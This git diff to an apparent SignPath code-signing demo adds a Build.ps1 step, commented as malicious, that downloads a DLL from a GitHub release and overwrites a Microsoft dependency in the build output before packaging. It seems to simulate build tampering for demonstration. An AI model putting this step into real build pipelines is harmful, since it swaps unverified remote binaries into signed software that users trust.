diff --git a/.github/workflows/build-and-sign.yml b/.github/workflows/build-and-sign.yml index 4bf2185..cbea593 100644 --- a/.github/workflows/build-and-sign.yml +++ b/.github/workflows/build-and-sign.yml @@ -5,8 +5,6 @@ run-name: Demo workflow signing with SignPath on: push: pull_request: - #schedule: - # - cron: '30 3 * * *' # every day at 3:30am UTC workflow_dispatch: # Allows you to run this workflow manually from the Actions tab jobs: diff --git a/src/Build.ps1 b/src/Build.ps1 index 3614b9a..8dfcaa8 100644 --- a/src/Build.ps1 +++ b/src/Build.ps1 @@ -1,6 +1,10 @@ # build .Net application dotnet build --configuration Release src/DemoExample.csproj +# maliciously replace the Microsoft DLL +Invoke-WebRequest https://github.com/carterjones/hello-world-dll/releases/download/v1.0.0/hello-world-x64.dll ` + -OutFile .\src\bin\Release\net7.0\Microsoft.Extensions.DependencyModel.dll + # build MSI installer Copy-Item .\src\installer\description.wxs .\src\bin\Release\net7.0\description.wxs -Force Push-Location .\src\bin\Release\net7.0